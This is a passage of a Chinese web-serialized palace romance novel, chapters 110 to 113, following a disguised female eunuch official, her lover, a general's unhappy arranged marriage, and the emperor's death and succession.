但说完这句话,魏廷川似还含着一句话似是不知该不该说出口,最后在白惜时的催促下,一时冲动还是问了出来,“你方才递茶,可是在阻止天子指婚解衍?” 天子定的婚期很紧,就在七日后,魏廷川知道如果今日不问个明白,以后怕是再也不会有机会了。 已为有妇之夫,也无法再问出口。 没想到他说的竟是此事,白惜时既已经向天子坦白,便不再像先前隐瞒的那样严实,想了想,一点头道:“是。” “为什么?”魏廷川紧紧盯着她。 白惜时顿了片刻,抬起眼,“应当就是世子猜到的那个答案。” 其实她很怕魏廷川会说教,就如同两年前一般告诉她这样不对,有违世俗常理,每次她跟自己说完这些白惜时多多少少还是会受到些影响,因为当爱慕不在,魏廷川眼下就像她的一个兄长,会操心,会管束她,但这些话明显她不爱听,也不可能改。 不过魏廷川这次问出的问题却出乎白惜时的意料,他问的是——“为什么是解衍?” 为什么? 理由很多,白惜时一时竟不知从何说起。 “此事说来话长,等有机会的时候我再与世子慢慢说,怎么样?” 眼下显然不是合适的时机。 闻言,魏廷川没有再说话。 没有说话便当他是默认,然而当白惜时预备越过男子之际,世子的声音又再度响起,“是因为……” 他停顿了片刻,绷紧牙关,最后问出一句,“长得像我吗?” 脚步骤然停下,白惜时回首,望向魏廷川。 人在猝不及防下的第一反应往往最为真实,连白惜时也不例外,因而魏廷川看见了,看见后,维持了许久的镇定便顷刻间像是难以为继。 “……对不起。” 他看见了白惜时尚且来不及掩饰的一面。 魏廷川低下头,缓缓闭上眼,心脏像此刻是被一只大手碾压揉捏,一时竟不知是愧疚多一些,还是痛苦遗憾多一些。 “惜时,真的对不起。”他又重复了一遍。 回到西北的魏廷川除了领军作战,男子日日被一个问题缠绕困扰,那便是为何他会与白惜时渐行渐远?分明二人之前好到恨不得穿一条裤子,对方看向自己的眼神永远都带着光,是什么事情改变了他们? 最后在日思夜想中,他渐渐琢磨出了一个答案。但那个答案他不敢确认,亦日日煎熬着他的内心。 两个男子…… 他甚至无数次问过自己,如果真是如此,他要怎么做? 至于答案…… 答案是什么现在已经不重要了,今日之后,他势必会有一个妻子,而这位妻子只能姓俞。 “我不知道……” 魏廷川比任何人都知道现在其实说什么都晚了,但他还是下意识的想要去表达自己的内疚和亏欠。 他给白惜时带去过伤害。 然而见到男子如此,白惜时却扬起唇角,打断了他,“世子,都已经过去了,我现在很好。” 她觉得魏廷川实在不必过于自责,本就是她的一厢情愿,不知情又有什么错误之有? 既然已经点破,她亦难得说了一句话潜藏在内心之语,“……起初注意到解衍是因为有一些像,不过后来就不是了,喜欢也不是因为像,是真的喜欢。” 白惜时劝慰,“世子,熬过眼下这一关,你要相信你也会越来越好。” 虽然刘晚禾可能会是世子一辈子的遗憾和痛,但人总要向前看。时间会是最好的良药吗?可能只有试过的人才知道。 闻言,魏廷川反问了一句,“会吗?” “会的,你和刘姑娘虽然……” 然而像是觉得白惜时此刻实在是答非所问,魏廷川缓一摇头,出言打断了她,“惜时,不说了。” 片刻后,他又恢复如同兄长般的模样,倾泻的情绪在理智回归后又一瞬间收拢回闸,“时间久了,你先回席罢。” 直觉魏廷川似乎与以往不大相同,白惜时却没有再问,只一点头道:“好。” 第110章 第110章 白惜时回到了筵席,回席的第一眼,不是朝高台上望过去,而是群臣之中的那抹清隽的身影。 差一点,差一点她就要与解衍被迫分开,而当这种情况真实发生,她才意识到以前自己说的都是大话,什么“你日后若是后悔了想成亲了可以告诉我”“她可以坦然接受分别”…… 直到现在她才发现她应当是坦然不了,也见不得解衍与其他人成亲。 只要想到那样的画面,她就像被长满尖刺的藤蔓束缚住,原来她也有嫉妒之心,并没有自己设想的那般超脱大度。 白惜时回来的第一时间解衍亦看到了她,男子的目光一直盯着入口没有移开过,这时候很快离席走了过来,但他尚未开口,白惜时便已道了一句,“今日我要出宫。” 出宫的意思便是回解衍的府上,如果回自己家,白惜时会直接说“回府”,眼下这句话已成为二人的默契。 解衍点头,“好,结束我在西直门等你。” “我应当会晚一些。” “没事,多晚我都等你。” 很多话群臣都在场并不好说,比方说天子眼下以为他二人是龙阳之好,白惜时得将这件事告诉解衍,二人日后也好统一口径。 待与解衍约定好,白惜时便欲回到高台之上,解衍又问了一句,“天子可有为难?” 其实方才白惜时随皇帝离席的时候,解衍一起跟了出去,他当然看出是白惜时打断了天子的言语,也知后事后必遭盘问,不欲让她独自面对,他亦准备同行。 但白惜时很快给他使了个眼色,男子才止住脚步。 白惜时的想法很简单,倒不是什么大无畏精神准备一人抗事,而是觉得两个人对起口供来更容易穿帮。 “没有,就是有些生气。”白惜时想了想又补充了一句,“连着你一起迁怒。” “你没事便可,迁怒我没关系。”闻言男子毫不在意,反倒像是真正放下心来,继而塞了一包东西到白惜时的手中。 白惜时低头一看,有些诧异,“哪来的饭团?” 解衍:“吃完再回去。” 白惜时虽为司礼监掌印,但毕竟身份不同,这样的宫宴她不可落座,也不会准备她的餐食,而以她的性格更想不起来中途跑出去吃些东西垫肚子,这种事情便都是解衍替她记着。 朝臣们对于白惜时与解衍关系好早就见怪不怪,眼见二人立于一处说话无甚反应,但魏廷川走进来,恰看见白惜时手中捏着样东西与男子相视一笑。 那东西显然是解衍给她的。 而不可避免的,即便话已说开,魏廷川还是被狠狠刺痛了一下。 魏廷川连自己都想不明白,为什么与刘晚禾,他都觉得为了对方好为了对方的安危,他可以做到放手。 但如若换一个人,只要白惜时向着自己的那束光还在,他又能够早些明白,他还会放手吗? 不知道,真的不知道。 不过此刻魏廷川亦更加清楚的明白,白惜时的眼中不是没有光了,只是那束光投向了另一个人。 …… 找了个地方吃完解衍捏的饭团,白惜时重新回到筵席,向高台之上望了过去。 高台之上长公主一脸端庄、正襟危坐,显然是将白惜时先前的话听进去了,正在努力维持着皇室该有的尊贵和气度。 虽眼神还有些稚嫩,不过能做到这样已是很好,人不可能一蹴而就,总需要慢慢历练。 薛嫔被几位诰命夫人绊住了手脚,一些筵席上的小状况便被禀报到了公主处,即便生疏,她亦尽力做到不忙不乱,仔细思考后再告知宫人应当如何处置。 “掌印。” 看见白惜时归来,公主心中紧绷的一根弦终于松懈下来,虽然面上没有显露,但她还是有些紧张,总担心自己应对的不妥不好。 此刻当又有宫人前来询问,她自然而然便望向白惜时,掌印回来了,当然是由掌印来决断。 但白惜时似乎并没有拿主意的意思,立于一旁,就这么望向她。 端静公主等了一会,没有办法,将自己的意见告诉宫人。 可说完了她又不自信,扭头去问白惜时,“掌印,我这样处置对吗?” 白惜时含笑,点了点头。 待那宫人走后,白惜时又对公主道:“一场宫宴而已,公主大可放开手脚去做,即便错了也没关系,人不可能不犯错,都是在一次次的错误中吸取教训,下次再总结经验知道如何规避。” “不要因为怕错,就不去尝试。” 端静公主闻言,好奇问了一句,“那掌印也会犯错吗?” 白惜时:“会。” 她当然也会犯错,那时候张茂林会为她指出哪里做得不妥,指出后再教导她该如何做。 有时候捅的娄子大了点眼看遮掩不过去,张茂林还会将她带到御前请罪,继而作势要动手。 每每此刻,皇帝便会拆穿张茂林:“朕看你十次有九次要打他都是雷声大雨点小,不要在朕面前演苦肉计,这次念在他初犯便不重罚,但记住,下不为例。” 现在想来,她的每一步成长一直都有人在兜底和保驾护航。 时过境迁,白惜时突然有感而发,公主的成长她是不是也可以做些什么? 二人就着宫宴的话题,又继续说了些话。 这个时候已接近尾声,白惜时同公主一起注视着筵席的各种情况,舞乐结束,场面一时便显得有些静。而恰在此刻,刘晚禾突然失手打翻了一樽酒,落在地上发出“啪嗒”一声,白惜时的目光很快被引了过去。 酒水洒了一身,然而刘二姑娘却仿若未觉,目光直直地望向另一边。 白惜时随之望过去,瞬间了然,她看向的是魏廷川,而此刻俞四姑娘的父兄正离席与魏廷川交谈着什么,应当是讨论喜宴上的一应细节。 他们交谈了多久,刘晚禾便看了多久,直到身旁的父亲提醒她,她才回过神来,看向那一身半湿的衣裙。 拿出巾帕,胡乱地擦了起来,这一擦,便再也抬不起头来了,因为泪水已经模糊了面颊。 刘易瞧见女儿如此又着急又心痛,向来捧在手中的掌上明珠,却从未见过她如此伤心的模样。 可回家之后要如何难过都可以,眼下却是不能,在宫宴之上天子才刚刚赐婚,如此视为大不敬。 如果被有心之人发现禀报,那牵连的可是…… 正当一筹莫展之际,这个时候一道身影缓步而来,立于桌前,挡住了其他方向投射过来的探究视线,白惜时:“刘姑娘,可有带备用的衣裙?” 这一声将刘晚禾吓了一跳,她猝然抬起头,一瞬间憋回眼泪,后怕之感蔓延全身,她痛恨自己的无用,明知道一定要忍住,为什么还是这么不合时宜的流下泪来。 她此刻十分惧怕白惜时,更怕白惜时将她席间哭泣之事告知天子。 “带了吗?”白惜时又问了一遍。 刘晚禾:“……没有。” “那便请刘大人携令爱提前离席罢,若是问起,我会同天子和各位大人解释。” 刘易试图解释,“掌印,小女方才实则是喜极而泣。” “咱家知晓,刘大人放心。”白惜时微微颔首,又示意了眼出宫的方向,“回去罢。” 徒留下来强颜欢笑,也是一种折磨煎熬。 目送着刘家父女离席,白惜时知道个人有个人的命运,但不知出于何种心情,她还是下意识地走了过来。 而此刻,一直于宫宴之上未显出分毫异常的魏廷川,也终是往那方向望了一眼。 “将军会恨我吗?”与此同时,一道女声从男子前方传来。 魏廷川收回目光,宛若没听懂那人说的是什么。 “将军如此无视我,就不怕我与皇帝姐夫告状?” 男子神色漠然,此刻才真真正正向那女子投去认识以来的第一眼,“俞姑娘请便。” 第 111 章【VIP】 第111章 第111章 白惜时在宫门落钥的最后一刻出了宫。 马车上,她将寝殿之内与天子的谈话内容悉数告知,解衍并不意外,其实差不多也能猜到,不然实在无法解释一个内宦又为何会好端端打断天子的指婚。 白惜时说完,问了男子一句,“你可会觉得我此举不妥?” 事发突然,二人并没有提前商量,白惜时的一番举动让解衍在天子心目中已然是一个不折不扣的断袖。 “确实出乎意料。”解衍眉宇舒展,一双沉静的眼望向白惜时,“不过我很高兴。” “高兴什么?” 白惜时回看着男子,此乃情急之下的无耐为之,难道被误认为是个断袖他还很荣曜? 解衍:“高兴你会阻拦。” “我怕的是你告诉我皇命难为,你不阻拦,也不让我拒绝,然后就这样把我推走。” 解衍会有这样的想法是因为之前白惜时总是在向他传输一个观念,那便是——没关系,去留随意,想离开你随时可以走。 男子每每听到这种话,不是轻松,而是心口发闷。 真正的在意一个人不是这样,他比谁都清楚是因为他正在经历。 所以意识到皇帝准备指婚的那一刻,解衍没想到白惜时会在他之前有所动作。 白惜时听完,眉头一蹙,“我在你眼里就是这般无情吗?” 解衍没说话。 白惜时见状清了清嗓子,身体前倾,望进男子的眼睛,“那便从今日开始,我收回之前说过的话,只要我还在一日,你这辈子休想和其他人成亲。” 这话一说完,解衍眸中晕开抹笑意,好像一辈子不成亲是对他多大的奖赏。 继而捉过白惜时的手,握住,放在腿上。 白惜时便也由他这样握着,定下心神后再想起天子指婚的场面,还是觉得好险。 回到府邸之后,二人带着一股劫后余生的冲动,在月光正好的夜里自然而然便吻在了一起。 情到浓时,解衍身上覆了一层薄汗,于耳畔边问白惜时,“不能与其他人成亲,可以与掌印成亲吗?” 男子平时话不多,但到了这时候就喜欢说些招惹的话,白惜时只要不回答,他就能一直锲而不舍的问下去。 白惜时当下没多想,只当是烘托气氛,便顺势回了一句,“成亲后该唤你什么?夫君?” 然而她说完这一句“夫君”后,解衍便骤然停住了,是动作和表情的双双停住,愣在当场,很快白惜时便感觉到了什么……抬起头,忍着往被子里看一眼的冲动,与男子四目相对。 有一种……猪八戒吃人参果的仓促感。 不过没想到今日可以这么早睡,还挺让人惊喜的。 解衍显然也没想到自己会因为白惜时的一句称呼而瞬间“失守”,先前还翻涌的心潮很快被一股耻辱感取代。 白惜时看出来了,并难得善解人意一回,替他找补,“没关系,你可能就是最近太累了。” 哪晓得解衍听完表情越发难看,咬牙答道:“我不累。” 白惜时:“嗯,你不累,主要是我累了,站了半天真的好累。” 说着她便假装打了个哈欠,又伸手推了推身上的男子,“快去沐浴,沐浴完了回来睡觉。” 说罢便率先掀被子去了盥室,连找补的机会都没给解衍留。 这一夜,解衍异常沉默,还一直用背对着白惜时,不知道在想着什么。 白惜时觉得多少是有些面子上挂不住,毕竟只用了往常十分之一的时间。 男人有时候心理上也挺脆弱的,因此白惜时决定不打扰他,给他一些空间,自己很快陷入了梦乡。 不过在第二日清早,她还是于睡眼惺忪中被人抱住,继而大动干戈了一场。 出门的时候,白惜时眸中的水汽尚未完全消散,而男子则带着终于得以自证的神清气爽,双双上朝去了。 — 那日宫宴之后,魏廷川与俞家的婚事便开始紧锣密鼓地筹备。 几日后的一次早朝,天子竟一反常态出现在了大殿之内。继而魏廷川的一本奏章很快让白惜时意识到了那日二人的谈话内容。 魏廷川从百官中出列,奏请立皇长子启祥为太子,入住东宫。 这本来是一件朝臣默认之事,皇帝就这么一个儿子,不立他当太子还能立谁当太子? 但此事别人提是一回事,由魏廷川提出来又是另外一回事,皇帝想要达到的目的应当是太子是魏廷川请立的,即便日后想反,亦师出无名。 当然,这还只是第一步,天子在准了魏廷川的奏请之后,很快又宣布将他由西北调往西南边陲,这实际上也是在变相削弱魏廷川的兵权,因为这么多年来他的旧部一直都在西北,到了南面,等于一切从头再来。 宣完这一旨意后,魏廷川领旨谢恩,面上未现分毫意外,可见之前早已预料到了会有这样的结果。 实际上,皇帝与魏廷川在寝殿之内确实达成了一定共识。 天子清楚的知道自己的身体一日不如一日,如若幼子登基,必有不少蠢蠢欲动之人觊觎皇位。而魏廷川在皇族宗室之中有威名,如若由魏廷川请立太子,便可起到震慑作用,叫其他人亦不敢轻举妄动。 这是他思量权衡多日的决定,他是想要魏廷川坐镇做太子的后盾。 但与此同时,魏廷川手中的军权又不可过大,必须时一定要有人能够制衡他,因此天子又将人从西北调往西南。 至于婚事,他们没有提前商议过,天子亦想用这种突然之事去试探魏廷川的诚心,但凡他露出一丁点的反意,他亦不会手下留情。 不过眼下看来,魏廷川都接受了。 最后,天子连刘易的官职都一并做了调整,以关怀刘爱卿腿脚不便为由将其从兵部尚书调任礼部尚书。 即便婚事取消,皇帝仍旧没能够完全放下戒心。 这一日的早朝持续的比往日都要久,待给幼子日后继位做好准备,天子回去后似乎是因为耗费了太多精力,再度一病不起。 魏廷川大婚当日,白惜时带上提前准备好的贺礼,前往魏府。 这虽不是一场你情我愿的亲事,但因是天子赐婚,声势依旧浩大,作为多年至交,白惜时该到的礼节还是要到。 临出宫的时候白惜时遇上解衍,顺带问了一句,“你可要同我一起去?” 她想得很简单,结束了之后她应当不会回宫,正好可以同解衍一起回府。 解衍却一摇头,“大喜的日子,我便不去了。” 平白给人添堵。 见解衍拒绝白惜时也没再坚持,魏廷川虽然嘴上没说,但看样子他对自己与解衍的关系还是不大能接受,而且世子一直都不太喜欢解衍,白惜时是知道的。 独自前往魏府,白惜时想到天子指婚必不会敷衍了事,但没想到过这婚事竟办的这样浩大隆重,喜毯一直从门内铺到了街沿两侧,红绸锦色遍布府邸,房檐廊角亦处处可见金色飘摇。 虽白惜时参加的喜宴不多,但这次无疑是最盛大的一次。 而据白惜时对世子的了解,他不是一个喜欢过度铺张之人,特别是在父母相继去世之后,族中突变总是能够让人一夜成长。 不是魏廷川,那便是俞家的意思了。 管家听闻掌印前来贺喜,忙不迭出来相迎,继而见白惜时对某些布置多看了两眼,出言解释,“俞四姑娘好场面,凡事都要最好的,他提什么要求将军也不反对,只说按照她的要求办。” 果然如此。 闻言一点头,白惜时问:“你们将军人呢?” “咱家一会还有事,跟他道一句’恭喜‘便回去了。” 其实她的时间也并不是那般的紧迫,只不过今日前来魏府贺喜的名单,她相信第二日便会呈送至天子床前,如果逗留的时间过久,对她,对魏廷川都不是一件好事。 天子绝不会希望自己的心腹与想要防备之人走得太近。 所以心意到了,也便成了。 管家是知道白惜时与自家将军交情的,听完直接将人往后头引去,“当是在新房附近,小的领掌印过去。” 白惜时微微诧异,这么多宾客等着招待,世子不在前厅宴客,怎么这个时候跑到新房去了? 然而到了院落附近,白惜时没见着魏廷川,倒是率先见到了滕烈。管家显然有些畏惧这位锦衣卫指挥使,一见着人连脚步都迟疑了两分。 发现他的异样,白惜时侧首问了一句,“你们将军就在院内?” 迎着滕烈的目光,管家连抬头都有几分费劲,呐呐答道:“是。” 白惜时:“你先去忙吧,我自己去寻他便是。” 管家闻言一抹头上的汗珠,这才如释重负地走了。 滕烈给人的第一印象确实太过冷酷锋利,何况锦衣卫前来可不是为了贺喜,而是盯梢,时刻查看魏廷川可有异动,也难怪人家老管家会害怕。 自那日酒楼之后,白惜时与滕烈还没有这般单独打过照面,此刻见对方望向自己,白惜时其实不大自然,至少没有表现出来的那般自然,但她更知道此刻如若她不开口,两个人便会一直这般缄默无言下去。 那样更怪。 于是白惜时张口,预备寒暄两句打破沉寂,但与此同时,一声重物摔碎的炸裂之声传来,同时还伴随着一个女子的叫嚣。 白惜时与滕烈同步望向院内。 “我不管,酒水我就要用银窖的二十年陈酿,谁许你们换成十年的?要不是母亲着人给我递来话,我今日险些就要被你们糊弄过去!” 另一个声音听着像是个能做主的掌事姑姑,“夫人,本来定好的就是十年酿,单子当时是送到府上给老大人过目的,就是十年酿。您看,这便是当时送去俞府的单子。” “你们不要再同我狡辩,我现在说是二十年就是二十年!” “难道刚过门你们就准备这样苛待我,在一众宾客面前落我俞家的脸面吗?” 显然,这道声音正是俞四姑娘。白惜时虽不大懂酒,但也知道十年酿应当不差,甚至用在婚事上还算是手笔不小。 “夫人,可眼下时间紧迫,一时实在难以凑齐……” 那掌事姑姑说到一半便消了音,只因这时好似又有另外一个人进到了屋中。 俞四姑娘见着来人,气焰越发上扬,“魏廷川,你看到了,这就是你们魏府下人的教养?我是要同你去西南吃苦的,难道我嫁给你就是为了吃苦受罪,被人看不起的吗?今日连个酒水都换不得?” 片刻之后,男子的声线传来,很冷静,也很冷漠,“方姑姑,按她说的办。” 第 112 章【VIP】 第112章 第112章 白惜时微微蹙眉,一时不知是离开,还是继续等魏廷川出来。 方才争执已属于家务事的范畴,不论以前她与世子的关系如何亲近,眼下都不好再插手。 甚至再听下去都不合适。 但她不知道魏廷川此刻是需要人劝慰开解多一些,还是根本就不想让人知道这样的内院之事,白惜时有些犹豫,最先的反应是朝院子的方向走远了一些,走到听不见的地方。 但没想到滕烈也一同跟了过来,目光看向她手中的贺礼,“我替掌印转交给魏将军。” 白惜时看了滕烈一眼,没动。 “不是防备掌印与魏将军来往。” 滕烈知道白惜时会错了意,“是他不会想在这个时候见到你。” 锦衣卫指挥使干久了,很少再会起什么体谅之心,但滕烈今日竟难得以己度人一次,他能够想象如若魏廷川此刻出门见到白惜时,应当只会觉得难堪。 俞四姑娘的一百句诋毁,亦敌不过那样的难堪。 闻言,白惜时表情变了变,她觉得滕烈说的可能是对的,世子与滕烈都是有傲骨之人,想法应当也趋于一致,并不想让人知道这些纷繁的家务事。 思及此,白惜时将贺礼递了过去,“多谢指挥使,那便劳烦将我的祝福一并代到。” 滕烈点头,“放心。” 白惜时离开了,离开了没多久,一身大红色喜服的魏廷川便步出月洞门,面无表情往前厅的方向行去。 余光瞥见滕烈,他亦无动于衷,直到对方将白惜时的贺礼交到他的手上,并转达了白惜时的贺喜之意,魏廷川没接贺礼,却第一时间向四周望去。 无波无澜的面容闪过一丝乱。 再一想到方才的争执,眉峰紧紧蹙起。 滕烈将对方的变化尽收眼中,“她来过便走了,宫中有事。” 听到这一句,魏廷川反倒放松下来,继而复杂难言的心绪涌起,连带着舌根都泛苦。 这股苦味蔓延,激的他将头偏向一侧,片刻之后才转过来,接过贺礼,沉声对滕烈道了声谢。 不是没有后悔过,但眼下处境,拿什么后悔? 除了将人一起拖入泥沼,他想不出能给对方带来什么。 这场谁都不抱期待的婚礼还得继续。 魏廷川阔步朝前厅走去。 他知道,不仅自己,俞四姑娘也并不满意这场婚事,她想要留在京城,过惯了锦衣玉食的生活,女子不想离开这富贵之乡与自己同往边陲。 但她不能怨恨皇帝,还要时刻将自己的动向传回京中,因而便将这股不满发泄到了日常。 她像是拿捏着魏廷川的生死,有恃无恐,不过只要不触及底线,魏廷川可以随她去,他不想沟通不想发生争执,更觉得没有争吵的必要。 道不同不相为谋,夫妻亦是如此。 想要什么便拿去,金银本就身外之物,也是眼下他最能给得起的东西。 白惜时离开魏府后,抿唇不语。 俞四姑娘与魏廷川不合适,这是显而易见的事。 酒水应当只是个由头,视皇命为尚方宝剑,处处挟制魏廷川,试图于双方关系中占据上峰,这才是俞四姑娘想要达到的目的。 可是世子绝非受人挟制之人。 谁又喜欢被人这样威胁着过日子呢? 白惜时其实想不明白,指婚当日她是注意过俞四姑娘的,对于要嫁与魏廷川之事俞四姑娘应当不算排斥,她于高台之上甚至发现对方暗暗打量过魏廷川好几次。 那表情里,至少没有不情愿。 既然不排斥,为什么又要选择最让人难以接受的相处方式? 因为气不过他心中住着另外一个人? 思及此又想到刘晚禾那日的眼泪,白惜时最后长叹一口气,良久之后,也只能想出一句造化弄人。 如若今日成亲之人是刘晚禾,世子又会是怎样一副高兴的模样? 白惜时想,当是会觉得此生无憾了罢。 喜庆的爆竹声犹在耳边,只可惜春风含恨,细雨空啼。 马车平稳往白府行进,白惜时准备先顺道吃完晚饭,再拿上些换季衣物去找解衍。 眼下孟姑姑已经知晓她与解衍的关系,概因她上次换内衫的时候没避讳,一并被孟姑姑注意到了身上的痕迹。 起先孟姑姑还怀疑是青紫受伤,直到看见身前几处尤为明显的斑驳……继而她便被追问了一个多时辰,白惜时亦没有再向孟姑姑隐瞒。 知道是解衍后孟姑姑露出一副了然于心的表情,又说下次回来会给她准备些用得上的东西。 白惜时其实挺好奇一会孟姑姑会给她准备些什么。 不过这次好奇注定落了空,只因行至半途,马车便已被从宫内火急火燎赶来的侍卫截停,亦给白惜时带来了一个沉重的消息——小太子“癫痫”发作,天子急召白惜时入宫。 当白惜时赶到的时候,小太子已经平复下来,而率先发现太子不对劲并及时采取措施的,还是端静公主。 此刻的小太子已窝在扶疏的怀抱里沉沉睡去,另一只手还紧紧攥着长姐的衣袖。 拖着病躯,天子望着眼前一幕,似是陷入良久的入定。 最后一闭眼,他招手,叫上白惜时一并回到自己的寝殿之中。 在那里,天子勉强靠于床头,对白惜时道了一句,“朕同意试试你的提议。” 白惜时曾给天子提过一个想法。 其实于白惜时的内心而言,公主比小太子更适合继承皇位。 但她同样知道,这种提议皇帝和朝臣们都不可能同意,也难以服众。 而小皇子注定不会多么聪慧能干,皇位如若要传给他,还要坐得稳固,坐的大魏蒸蒸日上,背后就需要一个强有力的支撑。 比方说垂帘听政的太后。 但小皇子的母妃已逝,剩下的妃嫔又品级太低不能成事,以天子的性格也绝不会允许让大权旁落于宦官、大臣,让皇室反受挟制,那么这个最合适的人选便只剩下公主。 小皇子登基,公主于背后辅政。 这便是白惜时当时的提议。 不过皇帝没有立即同意,甚至斥责了白惜时一通,因为在他看来即便只是允许公主接触朝政便已经是一件离经叛道之事。 可是事到如今,天子陷入了一个两难的境地。 人都是自私的,只要有儿子他便不想大权旁落,不然将皇位传给魏廷川则是皆大欢喜的局面。 但小皇子登基,被架空的可能性太大了,那么与其相信其他人,不如相信愿意护着皇子,也与他有血缘关系的长公主。 内阁首辅、白惜时、端静公主共同辅佐皇子,是天子眼下的筹谋。 前两个能力、品性值得信任,而后者则是自己的亲生女儿,三方一旦发生分歧还可以相互制衡。 今日太子对公主的依恋实实在在触动了他,因而天子决定试一试,试一试公主有没有这样的能力。 白惜时闻言,垂首应是。 她预料到皇帝会同意,只不过需要一些时间,因为这样的选择对天子来说才是利益的最大化。 自那一夜天子与白惜时商谈之后,端静公主开始私下学习处理政务,一段时间下来,公主的成长很快,亦得到了天子的认同。 一小部分折子开始被送往东宫,不过端坐在案前处理政务的当然不是尚未满三岁的小太子,而是他的长姐,端静公主。 公主处理完会将折子送往白惜时处过目,有不妥之处她再一一为公主指出,纠正。 不过天子看样子并没有准备向朝臣公开此事,知情范围只局限于首辅、白惜时,白惜时有时候觉得与其说是在培养公主辅政,不如说是在培养她给小太子当“枪手”。 但如此已让公主欣喜非常,看得出来她是真的用心,也是真的有天赋,假以时日未必不会超过他的父亲。 在长公主日夜学习的同时,魏廷川婚事结束,启程前往西南。 这一离开,又不知何时再能回来。不过好歹,已无性命之忧。 【终章】 第113章 第113章 大魏朝宣和十三年,冬。 天子连续昏迷数日,病倒前下旨由年仅四岁的子监国,小太子因为害怕,怎么都不愿独自走上那高高的金銮殿,最后由长公主牵着他的手,一步步送到龙椅之上。 “阿姐,阿姐。”奶生奶气的声音于朝堂上响起,四岁的小太子刚学会说话,时不时回头确认端静长公主是否还在身后。 若是看不见,眼中便要包上一大包眼泪,委屈的要命,一副随时都要哭闹起来的模样。 顺理成章的,公主被留在了明堂之上,但如此行径很快有朝臣出来反对,引经据典均是女子不可涉政之言。 白惜时点点头,显得颇为认可,暂请端静长公主回避。 然而公主一走,小太子嘴巴一撇便撕心裂肺哭了起来,声音响彻明堂,紧接着滑下龙椅,追着公主就要一起而去,金銮殿上顿时乱成一锅粥。 白惜时自忖在其他事务上能力尚可,但于哄孩子这块实在没什么天赋,不知道为什么小太子天生的有些惧怕白惜时。何况这种情况下,她并不准备卖力去将小太子唬住。 她的初衷本就是留下公主,谁便规定女子不可随堂听政? 一切不应以男女,当以能力定高下。 群臣见小太子如此均不知如何是好,其他的孩童或许还能靠震慑,可小太子有癫痫在身,没有人敢吓唬他,也都怕给他吓出个好歹来。 最后实在没办法,由内阁首辅李大人发话将端静长公主又请了回来,暂立于龙椅旁安抚住太子。 内阁首辅的原话是——“此实属无奈之举,待太子适应朝堂后,届时还请公主回避。” 端静公主:“李大人说的是,本宫明白。” 其实包括白惜时在内,当时谁也无法预料公主能够在这明堂上留到什么时候,不过后来事实证明,公主这一留便再也没有回去,十几年后甚至直接坐上这把龙椅。 …… 天子昏睡的时间逐渐比清醒的时间还要长,醒来后总是望着明黄色的帐缦,继而才转动眼珠,询问太子的情况。 大家都知道,天子的时日不多了。 白惜时近来很少出宫,因为天子只要一醒,便会召唤她过去。 有时候的天子甚至分不清现在和过去,会询问今日屋子里怎么这么暖和,这段时日有没有再被克扣炭火? 继而又告诉白惜时,即便炭火发下来了也得省着些用,不然后面的时日还不知道如何挨过去。 每每最后,又会问她,“俞姐姐呢?”“张茂林呢?”“怎么今日就你一个人在这?” 碰到天子记忆混乱的时候,白惜时都会笑着回道:“俞姐姐和张茂林出去了,一会就会回来。” 但脸上在笑,心里却笑不出来,看着过不了多久又昏睡过去的天子,她很难受。 白惜时总觉得自己和魏廷川有年少情谊,其实与天子又何尝不是如此? 只不过与魏廷川是朋友,与天子则是君臣。 他是一个好皇帝。 对白惜时来说如此,对天下百姓来说亦然。 在位的十几年间,尤其是前十年,夙兴夜寐,大魏也在他的治理下逐渐走向昌盛。 可他明明正值壮年,却已这般瘦骨嶙峋。 废院之中走出来的四个人,最终好像只剩下了白惜时一个。 她又能撑到什么时候呢? 白惜时不得而知。 弥留之际,天子异常清醒,将太子、端静公主、内阁首辅、白惜时均宣至塌前,继而将小太子的手郑重交入李大人和白惜时的手中,“替朕照顾好朕的儿子,也助他守好这大魏的江山。” 然后又看向公主,“照顾好弟弟。” 端静公主双膝跪地,眼泪自进来后便一直没有停过,“父皇放心,儿臣一定护太子弟弟周全。” 天子闻言,长叹一声,看看小太子,又看看女儿,“是朕对不起你们。” 最后,天子赐了一杯毒酒前去慈宁宫,直等到太后已逝的消息,他才像完成最后一桩心事,缓缓合上了眼。 寝殿内哭泣哀伤之声久久不能停歇,白惜时亦长立塌前,告别这一位对她栽培信任的君王。 在朝夕相处中,他理解他的志向抱负,也理解他的重情重义、不够坚强。 人本来就难以做到尽善尽美,正是因为这样,也才更像一个活生生的人。 当眼前变得模糊不清的时候,白惜时意识到自己原来也掉了泪,不舍啊,她也有很多不舍,微时相互扶持相互鼓励走过来的一代帝王,最终还是没能熬过这个冬天。 又下雪了。 国丧过后,不足五岁的小皇帝正式登基。 内阁首辅、司礼监掌印、端静长公主共同辅政,只不过前两个在明面上,公主则在小皇子的背后。 大魏朝的权利机器依旧正常地运转着,白惜时照常忙碌,内阁有条不紊,十六岁的长公主每日都在进步,小皇帝则总是围绕在皇姐身后,除了每日上朝听那枯燥的天书,过得没有烦恼忧愁,自得其乐。 五年后,内阁首辅李大人与世长辞。 一代贤臣离开后,权利更加集中到白惜时与长公主的手中,许多重要决断均要送予二人过目,于此期间,白惜时将赵岳调至端静长公主处,江小锁学习司礼监一应实务,千闵则接替邹龙春成为新一任的西厂厂督。 也就是从这个开始,有人在背后戏称白惜时为“九千岁”。 在白惜时的扶持下,公主的威信也一步步于朝臣之中确立,二十三岁那年,长公主终于在龙椅后设了一道珠帘,正式听政,参与议事。 朝政之事相较于询问不甚明白的天子,大臣们也更倾向于回禀长公主。 而随着时间的推移,白惜时与解衍的关系也逐渐明朗化,成为众人心领神会之事。 如今白惜时的决断已无人敢于置喙,她亦不需再藏着掖着,不如就这般正大光明的与解衍相处,即便背后里议论,那些人亦不敢议论到她的面前。 最先发现是元盛。 那日解衍午间困顿,便于司礼监白惜时的寝榻上补了补眠。 醒来的时候白惜时已经离开,他推开门走入暖阁,却发现此时除了白惜时,元盛、赵岳、江小锁都在其中。 男子神情一顿,下意识去系脖间那枚还没扣上的玉扣。 白惜时倒没什么所谓,走过去大方给男子递了杯水,“被子叠好了没有?” 二人说这话说的声音不大,但元盛东厂行走,又恰好立于白惜时不远处,当耳膜捕捉到这句话时,眼珠子发直,神色诡异的往二人身上瞥了一眼。 白惜时没有避讳元盛,继续好整以暇望着面前的男子。 同样注意到元盛方才那若有似无的一暼,顾及着其他人在场,解衍面色认真,一副要与白惜时商讨正事的架势,就是衣衫尚未完全系好,垂落在身侧显得说服力欠缺了一些。 解衍:“叠好了。” 